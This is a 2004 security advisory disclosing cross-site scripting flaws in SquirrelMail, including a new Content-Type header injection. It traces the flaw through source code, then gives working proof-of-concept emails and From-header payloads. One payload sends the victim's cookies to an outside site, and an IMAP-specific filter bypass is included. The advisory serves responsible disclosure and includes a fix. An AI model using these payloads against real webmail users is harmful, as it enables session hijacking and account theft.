-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


          ===============================
           - RS-Labs Security Advisory -
          ===============================

  Tittle:   SquirrelMail "Content-Type" XSS vulnerability
      ID:   RS-2004-1
Severity:   Medium / High - Arbitrary tags injection in victim's browser context
    Date:   29.May.2004
  Author:   Román Medina-Heigl Hernández (a.k.a. RoMaNSoFt) <roman@rs-labs.com>
     URL:   https://www.rs-labs.com/adv/RS-Labs-Advisory-2004-1.txt



.: [ SUMMARY ]

  SquirrelMail is a well-known and widely deployed webmail system. As defined
in SM's official site: it "is a standards-based webmail package written in
PHP4. It includes built-in pure PHP support for the IMAP and SMTP protocols,
and all pages render in pure HTML 4.0 (with no JavaScript required) for maxi-
mum compatibility across browsers. It has very few requirements and is very
easy to configure and install. SquirrelMail has all the functionality you
would want from an email client, including strong MIME support, address books
and folder manipulation".

  A vulnerability has been discovered in SM. Due to unsanitized user input,
a specially crafted e-mail being read by the victim using SM will make injec-
tion of arbitrary tags possible. When correctly exploited, it will permit the
execution of scripts (JavaScript, VBScript, etc) running in the context of
victim's browser. Compromise of webmail account, cookie theft or further
exploitation of any local existing vulnerability in browser (specially easy in
the case of MS-IE, which is still plenty of pending [unpatched] sec-vulns) are
only some examples of the possibilities.

  Contrary to popular belief, not all XSS bugs need social engineering to be
performed in order to trigger a successful exploitation. The bug being dis-
closed in this advisory proves this fact. A simple reading of an specially
crafted e-mail sent by the attacker could derive in a compromise of security.
I rated this vulnerability as "medium/high" (instead of "low", as other XSS
bugs) because of this reason.

  As a side effect of my research I discovered that older known SM flaws were
still present in latest Debian stable (Woody) package. I will also discuss
them here (there is no need to issue another advisory only for that ;-)). But
_please note_ that if I don't explicitly mention it, I will always be referring
to the new (and recently discovered) bug.



.: [ AFFECTED VERSIONS ]

  The (new) bug could be reproduced with latest version of SM (both stable and
devel branchs) (*). In particular:
- - 1.4.3 (CVS) (**)
- - 1.4.3 (RC1)
- - 1.5.0
- - 1.5.1 (CVS) (**)

  Older versions are also vulnerable (latest Debian packages [1.2.6-1.3 and
1.5.0-1] were also tested and confirmed to be buggy too).

  (*)  Most of the research work has been done over 1.5.1 (CVS), though.
  (**) Before 24.May.04, when it was fixed in response to my bug-report.



.: [ TECHNICAL ANALYSIS - 1st part: old SM flaws still living around us ]

  (Yes, this is the easy part; you can skip it if you only want new bugs).
  
  Once upon a time a responsible sysadmin and proud Debian unstable user
mailed to Sam Johnston <samj@debian.org>, the current Debian maintainer for SM
packages, and asked him for a new package release which would fix some annoying
bugs (not related to security). Guess it... it was me! :-) Well, I cc'ed some
of SM developpers, hoping they could help Sam to make a better quality release.
We spoke about Debian policy and other interesting things. SM developpers got
surprised: an old SM 1.2.6 version being the "current stable" package in Debian!?
We explained to them that Debian Woody uses some kind of manually "backporting"
system or in other words: Debian developpers fix critical bugs (often security
related ones), by backporting patches released by the corresponding vendor (SM
team, in this case). They couldn't explain how this was possible (regarding SM),
when many bugs were silently fixed by the vendor, without an advisory being re-
leased. Then my brain started thinking (not for the first time, eh?).

  I had a look at the Changelog, searching for "XSS" string and finally, I de-
cided to download last two versions of 1.2.x (where x=10, 11). I diff'ed the
sources. I noticed something like:

- -                        "<B>$mailer</B>&nbsp;" .
+                        "<B>" . htmlentities($mailer) . "</B>&nbsp;" .

  Interesting. I kept on walking through the diff-file. The PHP function
"htmlentities()" (useful to convert those chars with a special meaning in
HTML language) appeared several times. I was in a hurry (time is gold) so I
did the following:

roman@rs-labs:~$ grep htmlentities squirrel-1.2.10-1.2.11.diff
+            $senderName .= htmlentities(sqimap_find_displayable_name($senderNames_part));
+                                                            'message' => htmlentities($fdata[5]),
+                                                            'reminder' => htmlentities($fdata[6]) );
+         "    <TD ALIGN=LEFT BGCOLOR=\"$color[4]\">" . htmlentities($event_title) . "</TD></TR>\n".
+         "    <TD ALIGN=LEFT BGCOLOR=\"$color[4]\">" . htmlentities($event_text) . "</TD></TR>\n".
+                        "<B>" . htmlentities($mailer) . "</B>&nbsp;" .

  Ummm, that's good. I only needed to reproduce one of the bugs to prove that
backporting is not always a good tactic if you want to have stable _and_ secure
software.

  I chose between two beautiful bugs:

roman@rs-labs:~$ diff -ur squirrelmail-1.2.10/src/read_body.php squirrelmail-1.2.11/src/read_body.php
@@ -976,7 +977,7 @@
                      "<TD BGCOLOR=\"$color[0]\" ALIGN=RIGHT VALIGN=TOP>" .
                            _("Mailer") . ': '.
                      "</TD><TD BGCOLOR=\"$color[0]\" VALIGN=TOP colspan=2>" .
- -                        "<B>$mailer</B>&nbsp;" .
+                        "<B>" . htmlentities($mailer) . "</B>&nbsp;" .
                      '</TD>' .
                   "</TR>" . "\n";
  
roman@rs-labs:~$ diff -ur squirrelmail-1.2.10/functions/mailbox_display.php squirrelmail-1.2.11/functions/mailbox_display.php
 require_once('../functions/strings.php');
@@ -59,7 +59,7 @@
             if ($senderName != '') {
                 $senderName .= ', ';
             }
- -            $senderName .= sqimap_find_displayable_name($senderNames_part);
+            $senderName .= htmlentities(sqimap_find_displayable_name($senderNames_part));
         }
     }

  Both cases could be exploited in a simple way: the attacker sends an e-mail
to the victim, and the victim reads it. So simple, isn't it? Nevertheless, to
exploit the first case, the victim should have to view headers of the received
e-mail (which is not very common), while $senderName (second case) is displayed
by default just when the user logs into SM (in other words: when mailbox's con-
tents are displayed). Perfect for a proof of concept exploit. So I started
playing around this second case and found the way to exploit it. You simply
have to insert your favourite JS (JavaScript) code into the "From:" header of
an e-mail and send it to the victim. Well, not so easy. Indeed, it was a bit
tricky due to the special parsing of the "From:" header. See the "Exploitation"
section.

  Please, learn the lesson and repeat with me: "Debian stable software is not
always as secure as we usually thought". Oddly enough, Debian unstable was free
of these bugs :-)



.: [ TECHNICAL ANALYSIS - 2nd part: seeking a new vuln! ]

  (Cool stuff begins here :-)).
  
  Latest SM versions have fixed several XSS bugs along the time. Nevertheless,
nobody is perfect... Let's take advantage of our (recently adquired) SM skills
and find a new bug.

  I downloaded latest version (1.5.1 CVS) and had a quick look at it. I fastly
reviewed "functions/mailbox_display.php". No luck this time. Then I reviewed
"src/read_body.php". No l... Mmmm, don't panic! Please, have a closer look to
this last file (only the interesting excerpt is showed):

- -----------------
$attachmentsdisplay = formatAttachments($message,$ent_ar,$mailbox, $passed_id);
if ($attachmentsdisplay) {
   echo '  </table>';
   echo '    <table width="100%" cellpadding="1" cellspacing="0" align="center"'.' border="0" bgcolor="'.$color[9].'">';
   echo '     <tr><td>';
   echo '       <table width="100%" cellpadding="0" cellspacing="0" align="center" border="0" bgcolor="'.$color[4].'">';
   echo '        <tr>' . html_tag( 'td', '', 'left', $color[9] );
   echo '           <b>' . _("Attachments") . ':</b>';
   echo '        </td></tr>';
   echo '        <tr><td>';
   echo '          <table width="100%" cellpadding="2" cellspacing="2" align="center"'.' border="0" bgcolor="'.$color[0].'"><tr><td>
';
   echo              $attachmentsdisplay;
   echo '          </td></tr></table>';
   echo '       </td></tr></table>';
   echo '  </td></tr>';
   echo '<TR><TD HEIGHT="5" COLSPAN="2" BGCOLOR="'.
          $color[4].'"></TD></TR>';
}
- -----------------

  Got it! There is an "echo" statement where used variable seems not to be
filtered in any way. Sure enough, $attachmentsdisplay has not been sanitized.
It is used to print all info related to an attachment (file type, the name
of attachment itself and so on). This is tipically contained inside the email
(headers) being received by the victim so it is easily spoofable by an evil
attacker (for instance, my good friend "Crg" of "!dSR" team }:-)).
  
  In "functions/mime.php":
 
- -----------------
function formatAttachments($message, $exclude_id, $mailbox, $id) {
 [...]
    $att_ar = $message->getAttachments($exclude_id);

    if (!count($att_ar)) return '';

    $attachments = '';
 
    $urlMailbox = urlencode($mailbox);

    foreach ($att_ar as $att) {
        $ent = $att->entity_id;
        $header = $att->header;
        $type0 = strtolower($header->type0);
        $type1 = strtolower($header->type1);
 [...]
        $attachments .= '<TR><TD>' .
                        '<A HREF="'.$defaultlink.'">'.decodeHeader($display_filename).'</A>&nbsp;</TD>' .
                        '<TD><SMALL><b>' . show_readable_size($header->size) .
                        '</b>&nbsp;&nbsp;</small></TD>' .
                        "<TD><SMALL>[ $type0/$type1 ]&nbsp;</SMALL></TD>" .
                        '<TD><SMALL>';
        $attachments .= '<b>' . $description . '</b>';
        $attachments .= '</SMALL></TD><TD><SMALL>&nbsp;';
 [...]
    }
    $attachmentadd = do_hook_function('attachments_bottom',$attachments);
    if ($attachmentadd != '')
        $attachments = $attachmentadd;
    return $attachments;
}
- -----------------

  As our sharp readers can see, $type0 and $type1 variables remain unfiltered.
Where do they come from? Well, it's not trivial, at least for somebody who is
not familiarized with IMAP protocol, which is (was?) my case. The fast response
to the previous question is: both variables come from the object named
"$message". We can verify the class this variable corresponds to by adding a
debug line such as:

error_log('$message class: ' . get_class($message));

  It reveals that $message corresponds to "Message" class. This class is defi-
ned at "class/mime/Message.class.php". Doing the same for $header variable, we
obtain the class "MessageHeader", which is defined at "class/mime/MessageHea-
der.class.php". In particular, $type0 is read from this last object (and con-
verted into lowercase; this would be a little restriction at the time of ex-
ploitation, although it can be easily bypassed) and same applies to $type1.

  Are you getting bored? Well, I'll summarize a bit: SM uses the same struc-
tures defined by the IMAP protocol (RFC 3501) and the parsing task is left to
be performed by the IMAP server. This is an important point.

  You can skip the following excerpt but I think it may help to understand the
whole thing. Notice that "msg_header" in the text really corresponds to "Messa-
geHeader" class. Quoting from "doc/mime.txt":

- -s-k-i-p---i-f---b-o-r-e-d---(tm)--:-)----

Object Structure
- ----------------
There are two objects that are used: "message" and "msg_header".  Here is a
brief overview of what each object contains.

msg_header
   Contains variables for all the necessary parts of the header of a
   message.  This includes (but is not limited to) the following:  to, from,
   subject, type (type0), subtype (type1), filename ...
      
message
   This contains the structure for the message.  It contains two parts:
   $header and $entities[].  $header is of type msg_header, and $entities[]
   is an array of type $message.  The $entities[] array is optional.  If
   it does not exist, then we are at a leaf node, and have an actual
   attachment (entity) that can be displayed.  Here is a tree view of how
   this object functions.

   header
   entities
      |
      +--- header
      |
      +--- header
      |    entities
      |       |
      |       +--- header
      |       |
      |       +--- header
      |
      +--- header


Getting the Structure
- ---------------------
Previously (version 0.4 and below), SquirrelMail handled all the parsing of
the email message.  It would read the entire message in, search for 
boundaries, and create an array similar to the $message object described
above.  This was very inefficient.

Currently, all the parsing of the body of the message takes place on the
IMAP server itself.  According to RFC 2060 section 7.4.2, we can use the
BODYSTRUCTURE function which will return the structure of the body (imagine
that).  It goes into detail of how the bodystructure should be formatted,
and we have based our new MIME support on this specification.  

A simple text/plain message would have a BODYSTRUCTURE similar to the 
following:

   ("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 1152 23)

A more complicated multipart message with an attachment would look like:   

   (("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 1152 23)("TEXT" 
   "PLAIN" ("CHARSET" "US-ASCII" "NAME" "cc.diff") 
   "<960723163407.20117h@cac.washington.edu>" "Compiler diff" "BASE64" 
   4554 73) "MIXED"))
   
Our MIME functionality implements different functions that recursively
run through this text and parses out the structure of the message.  If you
want to learn more about how the structure of a message is returned with
the BODYSTRUCTURE function, please see RFC 2060 section 7.4.2.

- -e-n-d---o-f---s-k-i-p---i-f---b-o-r-e-d---(tm)--:-)----

  Let's continue, faster. I'm getting tired too. As you probably guessed, the
BODYSTRUCTURE contains "Content-Type" values. SM directly parses the response
issued by IMAP server. To be precise, in "functions/imap_messages.php":

- -----------------
/**
 * Returns a message array with all the information about a message.  
 * See the documentation folder for more information about this array.
 */
function sqimap_get_message ($imap_stream, $id, $mailbox) {
    // typecast to int to prohibit 1:* msgs sets
    $id = (int) $id;
    $flags = array();
    $read = sqimap_run_command ($imap_stream, "FETCH $id (FLAGS BODYSTRUCTURE)", true, $response, $message, TRUE);
    if ($read) {
        if (preg_match('/.+FLAGS\s\((.*)\)\s/AUi',$read[0],$regs)) {
            if (trim($regs[1])) {
                $flags = preg_split('/ /', $regs[1],-1,'PREG_SPLIT_NI_EMPTY');
            }
        }
    [...]
    } 
            
    $bodystructure = implode('',$read);
    $msg =  mime_structure($bodystructure,$flags);
    $read = sqimap_run_command ($imap_stream, "FETCH $id BODY[HEADER]", true, $response, $message, TRUE);
    $rfc822_header = new Rfc822Header();
    $rfc822_header->parseHeader($read);
    $msg->rfc822_header = $rfc822_header;
    return $msg;
}
- -----------------

  The variable $read[0] is a string. It contains the response of the IMAP
server. So the array $read is converted into a string (using the "implode"
trick) and then it is passed into "mime_structure()" function. This last one
can be located at "functions/mime.php":

- -----------------
function mime_structure ($bodystructure, $flags=array()) {

    /* Isolate the body structure and remove beginning and end parenthesis. */
    $read = trim(substr ($bodystructure, strpos(strtolower($bodystructure), 'bodystructure') + 13));
    $read = trim(substr ($read, 0, -1));
    $i = 0;
    $msg = Message::parseStructure($read,$i);
    [...]
- -----------------
  
  Finally, the parsing of the IMAP response is really done by the following
methods of the Message class (defined at "class/mime/Message.class.php"):

- -----------------
    /*
     * Bodystructure parser, a recursive function for generating the
     * entity-tree with all the mime-parts.
     *
     * It follows RFC2060 and stores all the described fields in the
     * message object.
     *
     * Question/Bugs:
     *
     * Ask for me (Marc Groot Koerkamp, stekkel@users.sourceforge.net)
     *
     */
    function parseStructure($read, &$i, $sub_msg = '') {
        $msg = Message::parseBodyStructure($read, $i, $sub_msg);
        if($msg) $msg->setEntIds($msg,false,0);
        return $msg;
    }

    function setEntIds(&$msg,$init=false,$i=0) {
        $iCnt = count($msg->entities);
        if ($init !==false) {
            $iEntSub = $i+1;
            if ($msg->parent->type0 == 'message' &&
                $msg->parent->type1 == 'rfc822' &&
                $msg->type0 == 'multipart') {
                $iEntSub = '0';
            }
            if ($init) {
                $msg->entity_id = "$init.$iEntSub";
            } else {
                $msg->entity_id = $iEntSub;
            }
        } else if ($iCnt) {
            $msg->entity_id='0';
        } else {
            $msg->entity_id='1';
        }
        for ($i=0;$i<$iCnt;++$i) {
            $msg->entities[$i]->parent =& $msg;
            if (strrchr($msg->entity_id, '.') != '.0') {
                $msg->entities[$i]->setEntIds($msg->entities[$i],$msg->entity_id,$i);
            } else {
                $msg->entities[$i]->setEntIds($msg->entities[$i],$msg->parent->entity_id,$i);
            }
        }
    }
- -----------------

  And no attempt to filter user input was found here! :-) Some other variables
will be originally obtained from this object, like the filename of the attach-
ment found in an e-mail. But they are processed later and filtered in the in-
termediate process, before being displayed. So they are safe from XSS (I have
not performed a full audit, though). Nevertheless, "Content-Type" field is not
purged at all and so it is vulnerable to XSS, as we have demonstrated through
this analysis.



.: [ EXPLOITATION ]

  It takes some time to explore the possibilities of exploitation for discussed
bugs. The attacker should sent an e-mail to the victim, including our malicious
string inside one of the headers, depending on which vulnerability we are
trying to exploit. The difficult part is to study how the string will be filte-
red through SM processing.

  I don't want to lose more time to explain the "old" bug (present in 1.2.6 .deb
package, a.k.a. $senderName XSS) so I will directly provide some examples of its
exploitation.

- - Example 1: shows the content of the cookie on a dialog box.
From:<!--<>(-->John Doe<script>window.alert(document.cookie);</script><>

- - Example 2: cookie theft.
From:(<!--(--><script>document.location='https://www.rs-labs.com/?'+document.cookie;</script><>

- - Example 3: session variable is rewritten (DoS).
From:<!--<>(-->John Doe<script>document.cookie='PHPSESSID=xxx; path=/';</script><>

  Please note that we used HTML comments in order to hide the opening bracket
character ["("] which, otherwise, would be visible to the victim. This way,
detection of an attack is more difficult to achieve. }:-) Be aware that the
third example could leave a webmail account unusable until the offending me-
ssage is deleted by the administrator or by using alternative methods for
accessing the mail account (for instance, POP3).

  The new bug requires some more testing in order to be exploited. Remember
the description I did about the source of the bug. The offending string is read
directly from the IMAP server, in response to a BODYSTRUCTURE request. I did
some testing and discovered that different IMAP servers have different beha-
viours against "foreign" characters being injected into the command string.
In summary: each IMAP server implementation works in a different way and some
characters will be permitted in some servers and denied in others. Don't ask
me the reason. I don't know it :-)

  I built three different environments and used them to exploit the bug.
I obtained also different results, which I will disclose right now.

1) UW IMAP 2003.339 (Debian package: uw-imapd 7:2002edebian1-3).

  The exploit itself will be a simple e-mail with a forged "Content-Type"
header. In this example we will try to print cookie's content. We only have to
construct e-mail and send it to the victim:

roman@rs-labs:~/squirrel/bug-new$ cat XSS-PoC-Squirrelmail.withoutquotes
helo rs-labs-r0cks
mail from:<evil@microsoft.com>
rcpt to:<squirrel@rs-labs>
data
From: Attacker <evil@microsoft.com>
To: roman@rs-labs.com
Subject: Squirrelmail XSS PoC (without quotes)
Date: Sun, 09 May 2004 22:39:58 +0200
Message-ID: <fm5t90tbzeglvqso0hc3j9u3doqc6sj5r5@4ax.com>
X-Mailer: RoMaNSoFt's preferred one :-)
MIME-Version: 1.0
Content-Type: application/octet-stream<script>window.alert(document.cookie)</script>; name=top_secret.pdf
Content-Transfer-Encoding: base64
Content-Description: Not really top secret... (without quotes)
Content-Disposition: attachment; filename=top_secret.pdf

JVBERi0xLjMKJeLjz9MKMSAwIG9iago8PAovTGVuZ3RoIDEyMTUKL0ZpbHRlciBbL0ZsYXRlRGVj
dHhyZWYKNDY2MjUKJSVFT0YK
.
quit
roman@rs-labs:~/squirrel/bug-new$ nc localhost 25 < XSS-PoC-Squirrelmail.withoutquotes 
220 rs-labs ESMTP Exim 3.36 #1 Sun, 23 May 2004 21:33:59 +0200
250 rs-labs Hello localhost [127.0.0.1]
250 <evil@microsoft.com> is syntactically correct
250 <squirrel@rs-labs> verified
354 Enter message, ending with "." on a line by itself
250 OK id=1BRyjP-00065a-00
221 rs-labs closing connection
roman@rs-labs:~/squirrel/bug-new$

  Now, let's see the effect it has on the IMAP server:

roman@rs-labs:~/squirrel/bug-new$ cat imap 
0 login user password
0 examine inbox
0 search *
0 fetch 1 BODYSTRUCTURE
0 logout
roman@rs-labs:~/squirrel/bug-new$ nc localhost 143 < imap
* OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] localhost IMAP4rev1 2003.339 at Sun, 23 May 2004 22:25:15 +0200 (CEST)
0 OK [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] User squirrel authenticated
* 1 EXISTS
* 1 RECENT
* OK [UIDVALIDITY 1084621844] UID validity status
* OK [UIDNEXT 7] Predicted next UID
* FLAGS (\Answered \Flagged \Deleted \Draft \Seen)
* OK [PERMANENTFLAGS ()] Permanent flags
* OK [UNSEEN 1] first unseen message in /var/mail/squirrel
0 OK [READ-ONLY] EXAMINE completed
* SEARCH 1
0 OK SEARCH completed
* OK [PARSE] Unexpected characters at end of parameters: <script>window.alert(document.cookie)</script>; name=top_secret.pdf
* 1 FETCH (BODYSTRUCTURE ("APPLICATION" "OCTET-STREAM" NIL NIL "Not really top secret... (without quotes)" "BASE64" 104 NIL ("ATTACHMENT" ("FILENAME" "top_secret.pdf")) NIL NIL))
0 OK FETCH completed
* BYE rs-labs IMAP4rev1 server terminating connection
0 OK LOGOUT completed
roman@rs-labs:~/squirrel/bug-new$

  Hey! UW IMAP's parsing routine is cute enough to detect non permitted chars.
But which chars are forbidden?

  Let's quote RFC 2822 ("Internet Message Format"):

- -----------------
3.2.1. Primitive Tokens

[...]
specials        =       "(" / ")" /     ; Special characters used in
                        "<" / ">" /     ;  other parts of the syntax
                        "[" / "]" /
                        ":" / ";" /
                        "@" / "\" /
                        "," / "." /
                        DQUOTE
[...]                        
3.2.5. Quoted strings

   Strings of characters that include characters other than those
   allowed in atoms may be represented in a quoted string format, where
   the characters are surrounded by quote (DQUOTE, ASCII value 34)
   characters.
- -----------------

  Good idea! We can repeat the experiment, but this time we will use quotes.
Therefore we delete former message for inbox and issue a new one:

roman@rs-labs:~/squirrel/bug-new$ cat XSS-PoC-Squirrelmail.withquotes
helo rs-labs-r0cks
mail from:<evil@microsoft.com>
rcpt to:<squirrel@rs-labs>
data
From: Attacker <evil@microsoft.com>
To: roman@rs-labs.com
Subject: Squirrelmail XSS PoC (without quotes)
Date: Sun, 09 May 2004 22:39:58 +0200
Message-ID: <fm5t90tbzeglvqso0hc3j9u3doqc6sj5r5@4ax.com>
X-Mailer: RoMaNSoFt's preferred one :-)
MIME-Version: 1.0
Content-Type: application/octet-stream"<script>window.alert(document.cookie)</script>"; name=top_secret.pdf
Content-Transfer-Encoding: base64
Content-Description: Not really top secret... (without quotes)
Content-Disposition: attachment; filename=top_secret.pdf

JVBERi0xLjMKJeLjz9MKMSAwIG9iago8PAovTGVuZ3RoIDEyMTUKL0ZpbHRlciBbL0ZsYXRlRGVj
dHhyZWYKNDY2MjUKJSVFT0YK
.
quit
roman@rs-labs:~/squirrel/bug-new$ nc localhost 25 < XSS-PoC-Squirrelmail.withquotes
220 rs-labs ESMTP Exim 3.36 #1 Sun, 23 May 2004 22:52:24 +0200
250 rs-labs Hello localhost [127.0.0.1]
250 <evil@microsoft.com> is syntactically correct
250 <squirrel@rs-labs> verified
354 Enter message, ending with "." on a line by itself
250 OK id=1BRzxI-0006KA-00
221 rs-labs closing connection
roman@rs-labs:~/squirrel/bug-new$ nc localhost 143 < imap
* OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] localhost IMAP4rev1 2003.339 at Sun, 23 May 2004 22:52:26 +0200 (CEST)
0 OK [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] User squirrel authenticated
* 1 EXISTS
* 1 RECENT
* OK [UIDVALIDITY 1084621844] UID validity status
* OK [UIDNEXT 10] Predicted next UID
* FLAGS (\Answered \Flagged \Deleted \Draft \Seen)
* OK [PERMANENTFLAGS ()] Permanent flags
* OK [UNSEEN 1] first unseen message in /var/mail/squirrel
0 OK [READ-ONLY] EXAMINE completed
* SEARCH 1
0 OK SEARCH completed
* 1 FETCH (BODYSTRUCTURE ("APPLICATION" {60}
OCTET-STREAM"<SCRIPT>WINDOW.ALERT(DOCUMENT.COOKIE)</SCRIPT>" ("NAME" "top_secret.pdf") NIL "Not really top secret... (without quotes)" "BASE64" 104 NIL ("ATTACHMENT" ("FILENAME" "top_secret.pdf")) NIL NIL))
0 OK FETCH completed
* BYE rs-labs IMAP4rev1 server terminating connection
0 OK LOGOUT completed
roman@rs-labs:~/squirrel/bug-new$ 

  Perfect. This time our evil string is not discarded :-) We are ready to login
to our SM test account and try to read the mail-message. A dialog box appears
listing our cookies. In other words... it works!!! =)

2) Courier IMAP 3.0.3 (Debian package: courier-imap 3.0.3-1)

  If we perform similar tests we can conclude that surprisingly double quotes
is not a problem here. But now our input string is cut (automatically termina-
ted) when a "/" character is found. It happens the same if we include the space
character. This is easy to demonstrate if we look at the source of Courier; in
particular, in "imap/msgbodystructure.c" there are some lines like the follo-
wing:

- -----------------
q=strtok(mybuf, " /");
[...]
if (q)  q=strtok(0, " /");
- -----------------

  Arghh! Courier programmers didn't respect dquote convention. So this case
seems not to be exploitable... But, are you sure? :-)

  Let's think a bit. How to avoid the "/" character? Easy:
<body onLoad=javascript:window.alert(document.cookie);>

  But then we have a space character. Indeed it could be replaced with any
other "whitespace" character and browser will interpret it in the same way.
For instance, we can use the TAB character and the final exploit will be:
<body[TAB]onLoad=javascript:window.alert(document.cookie);>

where [TAB] is a byte with 0x09 value. And yes, it works now! :-))

  Only one comment. When using netcat over IMAP port I got a strange effect:
the response remained blocked when "login" command was sent so I could not get
a full response. I fixed this problem by entering a little delay between the
"login" command and the next one ("examine"):

roman@rs-labs:~/courier$ cat imap
0 login user password
roman@rs-labs:~/courier$  cat imap2
0 examine inbox
0 search *
0 fetch 1 BODYSTRUCTURE
0 logout
roman@rs-labs:~/courier$  (cat imap ; sleep 0 ; cat imap2) | nc localhost 143
[...]

3) Cyrus 2.1.16 (Debian package: cyrus21-imapd 2.1.16-6)

  Definitely, it is not exploitable due to hard filtering. When Cyrus detects
forbidden chars ("/", " ", "<", ...) automatically sets Content-Type to "Text /
Plain". Having a look at Cyrus' source ("imap/message.c"), we can see:

#define TSPECIALS "()<>@,;:\\\"/[]?="
[...]
message_parse_type()
[...]
message_parse_rfc822space()
[...]

  See the source for additional info. This time we had no good luck :-(

  I did not check other IMAP servers but I think it is sufficient. I'm still
curious about the differences showed among tested IMAP software. Please feel
free to drop me an e-mail and tell me.

  XSS vulnerabilities are often understimated, despite being dangerous and
constitute a real risk. Combine this bug with some of the multiple IE vulne-
rabilities and you could have a bomb (remote compromise of the victim) :-)



.: [ WORKAROUND AND SOLUTIONS ]

* Fast manual fix (tested on 1.5.1-CVS):

Edit "functions/mime.php" and replace:

        $type0 = strtolower($header->type0);
        $type1 = strtolower($header->type1);
by:
        // Security Fix (Content-Type XSS)
        $type0 = htmlentities(strtolower($header->type0));
        $type1 = htmlentities(strtolower($header->type1));

* Official solution for 1.4.3-RC1 (and older versions):

Upgrade to 1.4.3.

* Official solution for 1.5.0:

Upgrade to 1.5.1 CVS (or use some of the latest snapshots).



.: [ HISTORY ]

* 22/May/2004: - Mail sent to samj@debian.org, jon@squirrelmail.org and
              marc@squirrelmail.org announcing my intention to disclose the
              bug in aproximately a week.

* 23/May/2004: - Marc Groot Koerkamp <marc@squirrelmail.org> answered and told
              me that he has just fixed the issues in 1.4.3 CVS and 1.5.1 CVS,
              so the to be released 1.4.3 "final" will not be affected by the
              bug.
              
* 27/May/2004: - Jonathan Angliss <jon@squirrelmail.org> told me that SM 1.4.3
              is going to be released on Saturday (29.May) and there is no pro-
              blem with the release of this advisory. Marc also stated that SM
              1.5.1 is not planned to be released imminently ("1.5.1 is a
              development branch and people should use cvs for development
              branches"). So use 1.5.1 CVS to patch SM devel version.
              
* 29/May/2004: - Public disclosure / Advisory released.



.: [ ACKNOWLEDGMENTS ]

  I would like to thank "bladi" of "!dSR" team for letting me use one of his
Linux machines where I built the test-lab for Cyrus IMAP. And to the rest of
!dSR staff for its moral support and funny c0ns. Thanks, guys! You are cool!

  Lastly, thanks also to Marc Groot Koerkamp and Jonathan Angliss of SM Team
for their cooperation and attention payed to this advisory.



.: [ REFERENCES ]

* SquirrelMail site
  https://www.squirrelmail.org/
  
* Cgisecurity. "The Cross Site Scripting FAQ"
  https://www.cgisecurity.com/articles/xss-faq.shtml

* RFC 3501 (supersedes 2060). "Internet Message Access Protocol - Version 4rev1"
  https://www.faqs.org/rfcs/rfc3501.html

* RFC 2822. "Internet Message Format"
  https://www.faqs.org/rfcs/rfc2822.html

* RoMaNSoFt's Research Labs
  https://www.rs-labs.com/

* Digital Security Research - !dSR
  https://www.digitalsec.net/

                    -=EOF=-

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.8 for non-commercial use <https://www.pgp.com>

iQA/AwUBQLd/RuR/in3q1WdCEQLd0wCgwTIbxnLBfhsYiqM7woBysnwG6YcAn0TH
wkqALge/JWFMbyCMbKUDs1jz
=PxWz
-----END PGP SIGNATURE-----